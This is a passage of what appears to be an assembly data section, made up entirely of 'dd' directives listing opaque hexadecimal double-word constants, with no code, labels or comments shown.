0D7ABCCF4h, 0A8C036C4h dd 0D5CB50h, 512440A5h, 1F7B9C0Ah, 2586E700h, 34F5613Fh dd 129738C6h, 0DECB3280h, 201C5D3Dh, 0EBB3C502h, 0E13F5BFCh dd 2BF437F9h, 1323242Ch, 8C201DB4h, 2140ED2Dh, 40192E00h dd 41965453h, 899700F6h, 0D8D95D0Eh, 36002966h, 51CE1043h dd 241C5F16h, 137EFA9Ah, 9DE4009Fh, 0C0CF3933h, 7CD75Ch dd 182C453Ah, 1D78F3DDh, 4076F18Eh, 0E9242656h, 4B14A6DBh dd 0D8AC07h, 6DA7BA41h, 3D2A576h, 0ADCE3B40h, 0F09D1C67h dd 0AE0C8904h, 504BDA64h, 0A0DE0E68h, 0FB20223Ah, 9DD96BEBh dd 2270386Bh, 40CB8F08h, 7A88A60h, 9FD84692h, 0D231D6A6h dd 0DB25FD13h, 0F62730F6h, 71F5A060h, 27760101h, 52117CBDh dd 0B04D8834h, 7507029Eh, 0C7442E4Eh, 0F5DEC60h, 1B9A0807h dd 0C07097F7h, 10C57Ch, 0AFB907AAh, 0A2A8A7E8h, 95F5BB07h dd 0BDC1AB63h, 5820D312h, 0DC804454h, 27C124B6h, 0B0607BD5h dd 1B08F8E2h, 88C88721h, 3C98AEA3h, 0CD002BF2h, 0D6CEB9DBh dd 7B60C574h, 294116E3h, 471C0022h, 85F20EBh, 2A726E00h dd 0BD059ABBh, 0FC829F80h, 0C4E058FFh, 40488DA3h, 2A6E00ACh dd 4B78CF0Fh, 2CE40421h dd 838B4120h, 4FF03D80h, 0CCEA336Bh, 0C0A7B502h, 542F5F22h dd 8F190178h, 0C875EB8Ch, 1007D48h, 10DE382Ah, 1E6FFD26h dd 2E43BDh, 7B71D194h, 360083EFh, 7AD39896h, 12F060AFh dd 3BBE78h, 0C31E7310h, 3180ABF6h, 7C80B5A9h, 2B30E295h dd 77018C98h, 3DD79E6Ch, 74D4D946h, 0ADFA012Ah, 910E3923h dd 0DC88240Ah, 8E093B00h, 0BD281C08h, 7FDE1288h, 41013CAh dd 90478247h, 0DB115A10h, 0C8D44100h, 9CDC3439h, 9047EEBCh dd 0A0C1125Ch, 5DE460A6h, 0B94E70CCh, 0ABB5F000h, 114DECh dd 96600D3Bh, 3907C9BFh, 0E9035E7Eh, 53D5DFEh, 0DC55C868h dd 0BE0200E3h, 0F64D67CAh, 0ECF4A699h, 181F4B00h, 71031A85h dd 0A1D1288Dh, 0CA9200C0h, 0A445265Ch, 0A253C84h, 0F75080CEh dd 3F6B9414h, 0E800E6FDh, 5ECC7483h, 0A3263BE5h, 98006C36h dd 0FE798DDDh, 12840034h, 670DE2Dh, 0A304EAFDh, 46FB0420h dd 3A7ACA4h, 0FF136003h, 70F9B250h, 0F758203Bh, 747CF944h dd 0F0E600DFh, 9CCE774Dh, 0B612EE50h, 2CE18ADAh, 0EFC020h dd 98290E8Fh, 91B8BFD5h, 33C314Ch, 118C8A8h, 6B110B34h dd 0EC60DC9Bh, 0C9266FA6h, 0C8004061h, 551F2DE1h, 0F017077Dh dd 0E0100D6Ah, 0D545AFB4h, 0B898B30Bh, 40200BC7h, 4F3BCE20h dd 942821E7h, 77804051h, 9A10ACBCh, 0E0219DFh, 5B2650C1h dd 10004054h, 0CD6B92EAh, 1ECB0B6h, 75B44737h, 0C09AB06Eh dd 8B07E96h, 6001052Dh, 91873Ch, 77FBF0E5h, 0B3543C85h dd 27B1F480h, 88804E2Ah, 9CB4DD65h, 0EDCFF5h, 5F87A8F8h dd 8028BEEh, 77B28D22h, 731861C4h, 3B4A1EFh, 283358C4h dd 4D8BBC60h, 0BD058848h, 0B293E8B5h, 0B65A076Ch, 0C2D09802h dd 0FCAEACDh, 144DF278h, 7001E7C9h, 3BCF3D8Fh, 312A8800h dd 0D098E6h, 0AA619DBEh, 7EDDE51Fh, 40C5102Fh, 0D1740Ch dd 264453C8h, 0A0DF54CDh, 0A817F907h, 28F7EEF5h, 79737D30h dd 873500E3h, 97632A83h, 0F875E209h, 45A03760h, 76A5B35Dh dd 0F15F1E78h, 41055682h, 5A58DB84h, 0CAA5F8BBh, 5C8F0200h dd 1F4C8517h, 0F6F97CF5h, 35590014h, 9FF05352h, 630726BCh dd 0D5AE482Bh, 0C0DCD772h, 1EAA4648h, 43D3B8D9h, 0AF432869h dd 0CFD0B3E8h, 0E0022098h, 4DB3356h, 0FF94E8C7h, 87E3022Ch dd 0DF18E686h, 0EBA10563h, 2040E380h, 8206D08h, 0D328C0F5h dd 0FF63C467h, 0F8356A03h, 0A66E80A6h, 0F9A90050h, 9165DFACh dd 201C60Ch, 0CE3C0E49h, 0AB204777h, 0CDD0E74Ah, 0B9F40F9Ah dd 0EA604EE6h, 3C3D6550h, 8B4B3300h, 0A728A959h, 0B82B125Eh dd 0D244087h, 0C4BCE34h, 0BB50E77Ch, 0D0C3050Ch, 0B023BF7Bh dd 10B1DEh, 204F3A6h, 313B1342h, 8C2C161Eh, 63006E1Fh dd 9B06C805h, 475F009Ch, 17EBB09Ah, 2E0028DEh, 0D738BF80h dd 4EA494h, 66C4C3B5h, 0F2D9914Bh, 8500F398h, 0AA8C195Ch dd 0C341A6h, 9A617883h, 0EAAB05C5h, 7646B50Fh, 7B7EA058h dd 0B8AFA616h, 4EFC00C8h, 73EA26B0h, 9907525Ch, 0FDAA359Dh dd 283F8C0Ah, 8600B8A7h, 0A3EF678Bh, 2E57CF77h, 62EA9Eh dd 3BF752C9h, 4AEC1FD5h, 0E43CE24h, 0D011A318h, 0DA048C4Ch dd 0B527F848h, 0F643DB41h, 5941A538h, 8ADDE1DCh, 6B108C07h dd 3B631914h, 1D8009FBh, 7AC02BDh, 5C1F30CFh, 2B00101Ah dd 2462CDA9h, 0F4140660h, 51ADE7D5h, 464FC902h, 6250335Bh dd 308263A3h, 0EC21BE08h, 32B04647h, 12630DFCh, 0B7E871h dd 0F2B38621h, 67DCABDDh, 44997A00h, 0BBC3D27Bh, 18372808h dd 696080ECh, 6B4718AAh, 41F1103h, 88DEB800h, 80871906h dd 611874EEh, 0FD422113h, 0B95FD8B7h, 614BAB00h, 0FFEDBA35h dd 86DC30FEh, 6D5CA259h, 6C0C5101h, 4403F8CEh, 21970898h dd 6D0254C7h, 93600653h, 78EC4904h, 0D2D6E4h, 0DE70ACADh dd 6D188EE5h, 9421851Eh, 314CAFC0h, 0E45551h, 4676105Fh dd 3B5AFC59h, 1934A3Eh, 5E82B692h, 0F7D95283h, 0DE14D050h dd 7E0501C2h, 75AD23DFh, 0F0898C7h, 0D63779h, 0B08C58C2h dd 0CE4E1E5Ah, 4180AEAh, 0E7F90D10h, 0B8B0A8B1h, 5EF70012h dd 5F66E4BCh, 0E360F85Bh, 3577AE90h, 3A0300FDh, 445604D2h dd 0DD30BAE8h, 0C5A4F98Bh, 0CF2E1CDAh, 0E90740CAh, 91FC72C0h dd 61AB8D30h, 54087DA5h, 320ED43Bh, 3C9FC2Eh, 9100D043h dd 445B0B5Fh, 1354B2CBh, 2093C30Dh, 32471890h, 80BDF53Dh dd 1BAEC89Ch, 724B5F99h, 0D91900A1h, 34A582E4h, 0D1608492h dd 3CAD0979h, 0FBAF00A8h, 557ABE91h, 0B924BD10h, 921C1D62h dd 0FECE6130h, 60CD0086h, 1FEFC8F9h, 2C0CA39Ch, 0A00135DDh dd 0A5833B7Ah, 41E06064h, 174081A2h, 3CD850C7h, 2028C45h dd 0F688DCB8h, 10191918h, 0B7FB40h, 0DB7C0B9Eh, 0DD749B67h dd 20C5FD70h, 0A0208991h, 7806EDA2h, 80309FBh, 7411AA84h dd 0B8F8194Bh, 268829E2h, 171138h, 0F1B80146h, 0B10267h dd 0A7625FFDh, 54F33785h, 0BD90E00h, 6365E356h, 60953E87h dd 6DA2B180h, 0FFECFDE2h, 3E8826E3h, 0C52885Dh, 409DC474h dd 0E6D55C8h, 14BE214h, 0B58DCBA4h, 0A1096CF0h, 13D198C1h dd 5F01DC18h, 0D925D52Bh, 0FC5245EFh, 4E49041Eh, 0B0D48913h dd 11464E40h, 8848335Ah, 0F8EB9FC5h, 1CD703F0h, 1577D024h dd 0DDA6BBE8h, 80D18D6Fh, 0C2CDC547h, 0DE71017Ch, 0B1361B98h dd 8C9054AAh, 0CA00E194h, 52C5CD34h, 0F41D9CFh, 3DEB9879h dd 6D805F60h, 0F84CA931h, 83771838h, 608A9161h, 560991ACh dd 1E54E8E4h, 2E8CD268h, 1487464Ch, 0E9A06838h, 4004644h dd 0D2C2C3ACh, 1F3F252h, 3455092Ch, 22DE0B96h, 20E50FE0h dd 9351C158h, 0A852673Bh, 0F7F6021Bh, 0C4E84512h, 0F8A463C0h dd 90F7D03Ah, 91B24424h, 29C38176h, 7E857EB8h, 33600D89h dd 0E129C2B1h, 0D5D8C765h, 0FA202A0Eh, 11033882h, 960B454h dd 6A4B8110h, 15918417h, 0A86AA080h, 81CF94DDh, 663C4103h dd 7CD03E43h, 549000BBh, 0B1CAC4CCh, 24046579h, 111003ACh dd 0C9B6E846h, 959EBC02h, 0C0FC206Ch, 1CE040D9h, 68B4DE68h dd 0F59321A4h, 5280D811h, 68335E46h, 0EFC3448Ch, 9A464A00h dd 0A8B79D5Dh, 6C9818A1h, 117F8107h, 73D78F00h, 0B510C0F7h dd 6C694CB8h, 0C3A2D843h, 7FCD30h, 39671ED3h, 0B58B924Eh dd 750921C1h, 5826B864h, 2F8AE300h, 0B337F8BEh, 0DD150B1h dd 4F001C18h, 98CB9626h, 0C0B8E8E3h, 0CD667571h, 61000B0Fh dd 527674CAh, 9653F5h, 808AE997h, 290F1555h, 0E4510A68h dd 0E69AC860h, 54193F70h, 2D28A280h, 4290788Fh, 461A903h dd 79350h, 8A962A39h, 41B7A03Ah, 0B81E9F00h, 6CB9C747h dd 69F7013Fh, 0DD3CDEBDh, 81618392h, 0A823D1FAh, 9EBA41h dd 0B2AEA2D4h, 0E91C83E0h, 0F5002AB0h, 65608118h, 188D458Ah dd 7C7C7FD9h, 0C20406F1h, 869254CEh, 15FCF888h, 0EC106B53h dd 0A6B88E00h, 0EB2148CEh, 382BB500h, 8415663Dh, 8B430901h dd 10844E88h, 40F34EBEh, 9FEB385Ah, 0A07F00CEh, 5854F03Fh dd 0C71F304Eh, 0E5809104h, 0FBF57E10h, 79289914h, 3F4318C0h dd 0C10B67C9h, 14000478h, 0E7DAD22Bh, 6A750A0Eh, 5C0D93ABh dd 0B3416960h, 70328A82h, 2AB7F11h, 0E887C1A5h, 8B8420B6h dd 2B1C22E0h, 0C87A1B5h, 92821957h, 30D4AAF3h, 76084674h dd 980E0324h, 0F531A64Eh, 0FBD48341h, 8C8148C7h, 4800A846h dd 0F0CE9750h, 7DE625C8h dd 3A3CBF00h, 0E4CC2D35h, 1BDA0053h, 8800BF5h, 0B91FCAh dd 2924611h, 0FE88DD2Ah, 1644446Ch, 0B7FC1D41h, 0ECC9490Ch dd 20C5B804h, 60E920A8h, 0DB6A11BCh, 3E00BBB5h, 9D0FCF2Dh dd 2258DFCh, 53030236h, 0E05FEBF4h, 5891A929h, 0FA88D874h dd 4D6D58C0h, 224C460Ch, 50C3009Eh, 7533996Dh, 2EE57F9h dd 0E34B9614h, 18DBC08Ch, 359F1F5h, 8CBA4AF7h, 0DD886401h dd 5000D671h, 0FBFA0C54h, 0A608040Bh, 23842BCh, 0D78510F0h dd 0B8546040h, 8184677Ah, 0DDE64E7Eh, 0E1001189h, 22F7B168h dd 5879322Dh, 46DF0CBAh, 68612466h, 0E4010F22h, 3F28D635h dd 9A2358h, 0DD1ED0Fh, 6A5D469Bh, 9DAB8B0h, 0BDFFB5BAh dd 68006064h, 0CB447634h, 1CF703Eh, 0D958C3A3h, 8095DD8Bh dd 78FAA781h, 1425DA0h, 6C6D40D5h, 0C0C04CB9h, 5709BC76h dd 550AFCh, 5D9B90BDh, 0CC2A1D19h, 2F958BCAh, 0C967DC04h dd 84B841C8h, 23207313h, 464D01D3h, 18403359h, 45EA88BFh dd 0FCEF4605h, 54C2E33Ch, 6C3A107Fh, 0A001AF7Ah, 0A2CD2B60h dd 0E4ED1D7Bh, 0F5B0AE8h, 135DD30Eh, 0A7646500h, 710A60C4h dd 0CC754D79h, 0AA0AC11Ch, 0FB11D0F4h, 4E6D5980h, 448C540Ch dd 5101C499h, 50098E6Dh, 2C69DD73h, 60FC4864h, 234F6D5Ah dd 9F115C0Ch, 6D00CB58h, 114822AFh, 0D502B347h, 0E96B58F2h dd 0AC80A0B0h, 9B90EAEh, 20505624h, 0E8608CCAh, 370136F7h dd 678A8F64h, 0B842F133h, 0A8E4ADh, 3DCC7528h, 3C35F9F8h dd 47378AFCh, 0DB40292Fh, 0A0092933h, 3C61594h, 7F730287h dd 2BFB8884h, 1DDF293Eh, 4809AA8Ah, 516C3161h, 19A24C23h dd 4BC3D30h, 4F29F806h, 168CC22Fh, 58392B11h, 0C98EDD18h dd 320047ACh, 53566322h, 0BF3A0A5h, 0E8438011h, 0BEF80C90h dd 843C7C00h, 2FD97426h, 0F5D0478h, 0CCDBCB60h, 590020F0h dd 3F32BA89h, 2097E12h, 2B984331h, 9C60EBB4h, 5446AF4h dd 4ED20FA0h, 4CA0FC2Ah, 54123703h, 3FFEB22h, 0DEF3680Eh dd 9B8235F8h, 42B60860h, 276B8100h, 3C718F6h, 3990A405h dd 4059F52h, 0C03A5EE9h, 4D76100Eh, 75FDA300h, 1C098A44h dd 696500FFh, 2B51039Ah, 5E3098EBh, 0C1047C80h, 1E421F5Ah dd 6B7F8F1h, 0B290F059h, 0CA007899h, 9F916E75h, 1855E04Ah dd 0B1887DB9h, 2600FE3Ch, 2B5DE266h, 0E0F510B7h, 0F90E3C52h dd 960BEF00h, 8492F3A9h, 8C44C84Ah, 0E840877Bh, 6C6021BDh dd 9C00394Bh, 0DDE06792h, 1EBF71D2h, 40AD480Eh, 3CED47CEh dd 0A1C1096Bh, 2C38E5C8h, 630CF8FBh, 5C934E90h, 0F9B580BCh dd 0AC792FDDh, 6C4E8C0Ch, 828855h, 0C60BE2DEh, 0E7421A88h dd 687E63B8h, 67A1D60Dh, 0B26008A5h, 0D1C10544h, 0AF064B13h dd 890DF1C0h, 44F0F0Ah, 9F9D15CEh, 10F701D8h, 0D84C08CCh dd 0C9F009CDh, 3B60A974h, 0DB4A1810h, 4ED50788h, 20CEE0C6h dd 3C11B8AEh, 0ADC0217h, 14CB4400h, 0C91545h, 0DBC14B08h dd 0D811471Ah, 0E13A1778h, 8A306ED7h, 3A3EFD18h, 0BCC00012h dd 0D40F380Dh, 104F0AC5h, 4864C6DEh, 6DFF504h, 10EA5950h dd 0F2D70F1Eh, 0C5400C2Eh, 3C1632Fh, 6CC4232Eh, 8301B26h dd 27E621B9h, 31520063h, 0DA8EC25Ch, 690C0BDFh, 61A4BEFCh dd 68C700C1h, 0C9E42A36h, 0AC6722DAh, 20BCBB08h, 0BF75E8h dd 69464285h, 592AFCEh, 152E6200h, 51A90BACh, 0C071DDB2h dd 9DB4228Fh, 2900A6E5h, 0F1D232D0h, 0C1DAD306h, 79EDB059h dd 0F86847D7h, 0C0632EC1h, 0C1181BCDh, 63E4E589h, 9AF601EDh dd 0B7BA89AAh, 61B4FC3Dh, 8AB1AB62h, 539CA06Dh, 5397B65h dd 6E9428BBh, 7801F8Bh, 486A2976h, 0B90F401Eh, 0F611B88Dh dd 32B70FBh, 0A98CF560h, 830E557h, 0F21821F3h, 2197032Bh dd 3F31A0FDh, 377E4BB0h, 79738A37h, 0E46B03D0h, 0FA40001Ch dd 0A81BEC72h, 3D0CED2Eh, 0F871D50Fh, 35078CF8h, 532EC764h dd 40C06468h, 93632DECh, 0CD5A00FCh, 306E32E1h, 28006269h dd 0CFAE9DC5h, 291048A0h, 0A2CF6D7h, 14AB6433h, 0BD882C43h dd 632BEA80h, 4A3EFE9h, 5EB4FF24h, 2A0C90A7h, 0EE754AEDh dd 5C307105h, 0A0016D1Eh, 0FB6325CAh, 1ADE188Ch, 5B2AB450h dd 100C0E4h, 60E683F4h, 29E0737h, 0F20B326h, 90A769A9h dd 882741D1h, 8711816Bh, 0F1FA99FEh, 0E8E39FC7h, 7F0830E9h dd 99F6A821h, 0F078300h, 2778081Eh, 0E5C8A8E3h, 296E6122h dd 0F0045AF0h, 3648AE9Ch, 38F62374h, 29306884h, 75E238B4h dd 7C8A00B9h, 820EC8DBh, 5F37B47Bh, 78D621B6h, 0F6300069h dd 31D1F08h, 0CE383B60h, 4C4500AAh, 513140C7h, 5B0A8DFh dd 41B56FC0h, 0D320B88Eh, 0FDB28826h, 0FF305900h, 0A8850542h dd 457500BDh, 1D2CD8C9h, 149004FBh, 0B0370604h, 2E43ABF3h dd 1E5028Ch, 0AEDD4C4h, 0A829AA03h, 0A28EA518h, 0F8ED28F1h dd 71D90354h, 5E1696B0h, 7F3E8CE0h, 0ED3040C1h, 208651E8h dd 0A80BF70Fh, 86426C18h, 28252420h, 0F8F4DEB3h, 0DCA9504Ah dd 913612D5h, 0EBFC01ADh, 20B6D062h, 150CD740h, 89570D75h dd 1BA07440h, 20BF783Bh, 98B7C4C7h, 2B08F9B4h, 0C4E55FFEh dd 0F01640EBh, 15CFF52Bh, 80A6EFB0h, 14419E1Dh, 29C24BEh dd 1D60052Ch, 803DD847h, 54432BF7h, 16C700Eh, 24789EABh dd 10768A9Ah, 0B269A2h, 0D43DC693h, 7A65D5ADh, 3C3539EEh dd 8803498Fh, 0FC0486FDh, 90C42B01h, 0DB58408Eh, 600EFFAh dd 0B0C1D2E3h, 385417h, 5A82AA0Ch, 0A3CFBBE2h, 26608805h dd 0A007B7E5h, 3079A5D2h, 1099FD84h, 0E0E9F1F9h, 99F5A7h dd 35D2FCB1h, 0EF2F77B6h, 40B4BF88h, 861E9F68h, 1407E7FAh dd 0F8705D0Fh, 78C9D14Bh, 27C1F35h, 21E6492Bh, 0BC75890h dd 99726207h, 0D87A1032h, 0A45F3706h, 30F07F21h, 0D918B10Ch dd 0C90C8C15h, 217C23E5h, 0D0B55550h, 4F75DCh, 44B4A6A4h dd 7AFDF9D3h, 0B6038B01h, 4152CE4Bh, 0EAF20422h, 6FBFB830h dd 0E1CFE1B3h, 0C66AE740h, 0B40044CAh, 959E0D4Bh, 3D848A09h dd 62268B42h, 0DEF56164h, 60A802DCh, 0F38E8C58h, 0EB0E6180h dd 0D2691747h, 0E635CF09h, 0B70C1023h, 2EE537F7h, 0C09E8F79h dd 0FDC30236h, 75608926h, 2969AB19h, 8CB000BFh, 6E3F525Ah dd 613231D5h, 30BAF036h, 1112BFCh, 0F088FD60h, 2BF31980h dd 0A714D5h, 25925805h, 0CE5C2EC8h, 0CC9348h, 172F2707h dd 26329A01h, 478A330h, 0C2E0E161h, 120AF58h, 51F432F2h dd 36F1DCD3h, 3C20BDE5h, 1188B0C9h, 10DDE3ECh, 0ECFCC52Ah dd 71F7078Ch, 0F5F66442h, 0EA06427h, 8FF7898h, 0C187682Fh dd 8B655FFDh, 0B98800CEh, 31313EC3h, 8A149418h, 79598077h dd 0E626B272h, 4984011Ah, 0ED2FA470h, 0F1B3FCD0h, 9EF5C83Fh dd 300077F2h, 0BF05C1F8h, 0DA99C0ADh, 0E97E5C45h, 63D38702h dd 608EA927h, 930CFEDh, 35CA02A1h, 0F011409Dh, 63497A80h dd 0A00BD89h, 649B5DEEh, 4DF22726h, 2D23040Eh, 1F9A040Eh dd 64FB21C8h, 0FCAE4084h, 1E208299h, 1A8C498h, 7145358Bh dd 7773209Dh, 81DD2C30h, 50D55E5Fh, 0C06BFCAFh, 3161C948h dd 4099B817h, 0BB187ED1h, 0A0CE1916h, 91F78830h, 414300F6h dd 0F57C6C76h, 18005996h, 0E96010EEh, 4864B4A8h, 42CF4CAAh dd 0CF0FBBE8h, 1E2A0102h, 0E5E0A01Bh, 59746225h, 64932676h dd 0C004BBDAh, 30F71C82h, 0C61D6434h, 91A14B2Eh, 2CEB00BEh dd 0B33BFC63h, 0BC350350h dd 0B29526D7h, 2A775013h, 30E50821h, 60005472h, 91194731h dd 0A2485062h, 67590FB4h, 0BE73E284h, 37C8416Eh, 8188A44Eh dd 25D0F2C7h, 70721EBFh, 652D717Eh, 0AE990C7h, 9498C5FCh dd 0CE22E8B1h, 106E9081h, 50204298h, 18FFA4ABh, 40A6895Dh dd 2877F5B8h, 0D3297960h, 1C22559Eh, 66ACAB42h, 0AD4B0053h dd 889D98C2h, 7B4C900h, 3805BAF0h, 90994CB0h, 235322C0h dd 0B6044E4Dh, 0FA2EFFCFh, 0C5DBD080h, 5C2A19F1h, 206180B2h dd 44B1CD7Ch, 3407F281h, 6B30BE47h, 0A12A000Bh, 0F461874Fh dd 4B0E3E35h, 52765C6h, 0D440AF51h, 7E401D88h, 18E4A7h dd 94625EF4h, 0CFCE63C1h, 37C2DF03h, 0B0C96C2Ah, 0CFD3253Eh dd 9644F5F0h, 402082EDh, 0F1E4B865h, 9D63E862h, 2DE94988h dd 5832B277h, 908AC9B7h, 8F4FA4h, 0D798EF5Bh, 1A7C09F5h dd 0A63EF700h, 19E3AF8Ah, 56600906h, 0B4A3CA5Dh, 69A9A7A4h dd 0C04428F8h, 2A3268C3h, 38808CC4h, 48EABBE4h, 3BFDCC00h dd 2F1D2C37h, 2C3CBA02h, 0BC042A74h, 14196C92h, 28234014h dd 0A499FF0Fh, 8362F9F1h, 99F7A920h, 81C50008h, 4E663144h dd 0C85C553Ah, 0CE980004h, 0C94AF75Dh, 2D080C05h, 32D1B28Dh dd 6E129413h, 0BDC8248Eh, 0AB6F0EC0h, 0EA7C0026h, 0B0DB5341h dd 92B1EBh, 0DC65B42Ch, 0BB25CA40h, 0C80482DBh, 0EA0140BFh dd 3D8AE593h, 0B1A81841h, 3B520030h, 4C5DB604h, 411F1C0Ch dd 0D4048480h, 7DC2955Fh, 11D08752h, 58B43459h, 0B8C8840Eh dd 0FF2BFAC0h, 24ED485Fh, 0C0AD17E3h, 3D2ECD64h, 4AABC502h dd 5256B4DEh, 0CC9D48C8h, 0ECC0D4A3h, 0AE00B393h, 0F9016FF4h dd 8A7FA63h, 0A357F0A2h, 0FB081253h, 29C409C0h, 0BDA8840Ch dd 112BFC8Ch, 88156004h, 0F61C81F2h, 0E077662Bh, 581F3149h dd 370665FEh, 1C996F8Ah, 0EE59E5h, 0AA9F7208h, 0DD501AF5h dd 0C02206C4h, 947800ABh, 6F5E7B27h, 2D2C6EBCh, 9096CC30h dd 0BB23EC3Ah, 0A5BC0F00h, 0C3BA51F1h, 7098D19h, 543FB8F8h dd 40110E00h, 4719813Ch, 3A8207A4h, 192F20CBh, 2B774881h dd 7E9BED8h, 2364ED2Eh, 9CF27194h, 1C30BEF2h, 56CD0D38h dd 23FE3606h, 3080A2F4h, 8100FCD2h, 2EC7077Ch, 9C78CA6Ch dd 0B6893FA4h, 4C44D503h, 0F6302E72h, 0C84C2098h, 0B2C02A9Ah dd 2DA300B8h, 0EC9084B6h, 0BA075229h, 9C7649FCh, 1DC09600h dd 0D12620C9h, 0B0D6A603h, 0C7DF32EAh, 11981D8Bh, 96D8BB9h dd 80D8A21Eh, 24E501C6h, 0BAE1806Ah, 252E3803h, 0ABF379FFh dd 3060ACB4h, 2E23C263h, 0BD112Bh, 0D6328E7h, 25127ED2h dd 0FC208ECEh, 1F438250h, 4ABBE907h, 28103653h, 0F0BA3E1h dd 84B5D27Dh, 0C89D52ABh, 9CEE11h, 5D12E7D4h, 5262E60h dd 0FED008D3h, 0D0D281A2h, 0D8A9BEF4h, 24DE7135h, 6E86498h dd 0F0A1D092h, 729CEAFh, 0F7850768h, 0A0200813h, 2AF136F5h dd 0A0D08EBAh, 66E258h, 0EE71EB95h, 77D2E613h, 0EC462F4Eh dd 1970F830h, 69FCED92h, 1508299h, 52C035CAh, 0DC261CFCh dd 0BE598081h, 47B40356h, 31FC660Eh, 645BC9CEh, 3725108Ch dd 0DC3024FEh, 2EE60585h, 10F230C8h, 0ED2B062h, 0F0B9265Fh dd 4A80C92Ah, 0A4F024B8h, 0D263E58Ch, 0F9FB90A8h, 0C193E68Eh dd 5EA80E9Bh, 996ACBC1h, 0FE21CC89h, 0A6770D02h, 6BF83106h dd 63CF8090h, 0BFC9139Ah, 667C2704h, 350EB9A6h, 20CF11B5h dd 0D56B64C3h, 8C034D1Bh, 89AC8440h, 3E622066h, 0E15C9201h dd 0B78C0E57h, 2CBC51E6h, 0AD800860h, 0C4B9EB20h, 3C188079h dd 0F3E3ED00h, 0DA05CF4Ch, 0C3552856h, 5AF11794h, 37D04BCCh dd 0F27B6802h, 17AD4471h, 80BB9104h, 8AD4CD8Dh, 8989C070h dd 0F421D7EBh, 9C127579h, 9C908EF8h, 0BB14574h, 0B907C05Fh dd 0A4684809h, 0BCB1ECB0h, 0DD63F82Ch, 0CC178083h, 357826C8h dd 695260F8h, 0E200D09Eh, 93C42482h, 9C415158h, 0F1465C18h dd 8BB4FC00h, 5C4B7FFEh, 107C9E4Ch, 28489AFAh, 93E11F10h dd 0BE23242Eh, 9ED92900h, 2805C6EBh, 0F5EC4ED0h, 0FC9AC019h dd 1101F123h, 0F8AA047Bh, 10809399h, 269CA864h, 182857AEh dd 0E5B569CDh, 58E282Dh, 306AD14Ch, 42911D05h, 6990A10Ch dd 10628364h, 261809CCh, 0B0E8E9AFh, 0A4A8E28Eh, 0CF002357h dd 0B79055B1h, 0F125C762h, 5114CC28h, 0A78798B4h, 8D6E50ACh dd 0EF01D78Ch, 0F15CE121h, 0D0702B11h, 690A1702h, 0C2E460F7h dd 29233168h, 1DBE11BCh, 6A47BAE3h, 2AD05C97h, 4E8E730h dd 0B56099C7h, 60A8E563h, 2E88ABECh, 6CFE5994h, 0D794275Bh dd 0D88961B7h, 5548C87Ch, 0F0035000h, 6460FCC8h, 0E78E30C2h dd 0FAFF42F1h, 7368D00h, 0BE27219h, 57031E4Bh, 38140969h dd 3C360C61h, 0C0CD80CCh, 0A7F104h, 2BD90BCAh, 54B1CB5Eh dd 68620C04h, 0C4E306C3h, 0B1B85118h, 0BC3A4647h, 8C5A8009h dd 1887C922h, 0C64B00D7h, 0DDD206Dh, 0B8BC389Fh, 2BA465Eh dd 3E605F70h, 0B04D895h, 0C34462F1h, 0A450B042h, 0BC6C4058h dd 61018CECh, 30C86FF9h, 84488AA8h, 0ACB10097h, 0BA5424ADh dd 0DE012771h, 74B21D4h, 90204CCFh, 2128C2Bh, 1315FE9Ah dd 9D7D8860h, 0A299CFACh, 8A3791C2h, 92006C44h, 261A860Dh dd 6BD79Eh, 0A33649BCh, 9FD2C93Eh, 0AA7DE404h, 0C88E8B0h dd 10BF626h, 242B315h, 0FE64A4C7h, 24174CD0h, 5080ED25h dd 0EAB4BA5h, 5664659Bh, 0A90F3180h, 2D2C8C67h, 0C990DC4Dh dd 26B3DF82h, 0F04E7044h, 0F4841034h, 17FF84E4h, 882BB630h dd 97002984h, 0DDDF6C15h, 3AFCB416h, 1B806008h, 0A093FFD4h dd 9B019C29h, 392B206Eh, 43F496D9h, 61090E52h, 8B6E72F2h dd 0A98D7B80h, 0C20076CDh, 4A7E3A07h, 3ADACEAAh, 2600F017h dd 0A3BCEACAh, 534C16A5h, 3BD40058h, 5F764BF5h, 72CE0378h dd 619867F3h, 1034C7BDh, 15A6E0C2h, 5A03771Fh, 5CA46C81h dd 0AC247A1Eh, 9D6F0C5h, 57B4C6A0h, 0D2993C68h, 465CB8BEh dd 9B2B0B7Dh, 1C60E470h, 27477Ch, 7F4FA9C9h, 73010A10h dd 6B1521BFh, 0C2FC7550h, 0F3B03982h, 4433F055h, 21ECE02h dd 96C0DE98h, 0B35F542Ah, 0F1230C3Bh, 98A5100h, 0C12D7D0h dd 0E48E6E45h, 0D67DF321h, 131F0107h, 7FE0CF66h, 176244DCh dd 9B863999h, 0D04E8040h, 0B21EECA4h, 79A8B94Ch, 24018BFh dd 93203EC1h, 0C0C1D310h, 0EC0515B3h, 70A0B536h, 0FC255C77h dd 0F52A3780h, 78CAF9B2h, 0BF0A0C63h, 0EF80F0A9h, 0F08BA6BDh dd 110170Bh, 683C0B36h, 4E3C5840h, 7DD16CB9h, 5B054418h dd 6A8197DFh, 0C288C48Eh, 0D57705C0h, 1CCFEA0h, 6BB6E70h dd 11742AE6h, 10222F76h, 51250709h, 0CCC834E1h, 5A076158h dd 3A60E5EFh, 0D926DAF0h, 8B20D3AAh, 0C07FC878h, 0F2733A65h dd 0A851702Ch, 80D33740h, 0B8D10160h, 64661F35h, 4BEAD019h dd 5FE4C16h, 0B36888h, 1ED207A1h, 0B0DD1693h, 0E2BC3A00h dd 0F3F0AE1Dh, 0CCB42FF7h, 3E835490h, 484324C0h, 4779A0h dd 1CDE770Ch, 0D302BC1Ah, 37FF2D0Fh, 0E82B654Eh, 0A0C8EC24h dd 4C5F0006h, 1AC82D87h, 221C3F56h, 0E4C63DBEh, 1231FAC9h dd 20EFB0E6h, 3A5C2E0Ch, 0F1F40097h, 9426F7B8h, 0D2E504D4h dd 0CD0A1C2h, 0B1002880h, 0FA38A8C0h, 276BEB9h, 0EA1421B8h dd 1888469Eh, 86951DC8h, 79E98EA3h, 42785900h, 0D4C45E21h dd 0E6A0031Bh, 237ABE93h, 0DC1D0CC0h, 5421C94Fh, 0D99DB0BFh dd 0A398407Ch, 0D489599Dh dd 4166F600h, 391CBB4Bh, 0A80B262h, 0BCF935FFh, 8EF809F8h dd 0DD00F85Ah, 0A0601162h, 13ADB4D2h, 40F3B6E9h, 0D35FCF4Dh dd 0CEE8C821h, 0CC0E96FEh, 0C9F90237h, 0C888995Ch, 0C0A35BF8h dd 0F6CA0111h, 4D32365Fh, 0EEC070B3h, 5A69120Ch, 1FA853FCh dd 95068020h, 51ADCD91h, 0A51FB002h, 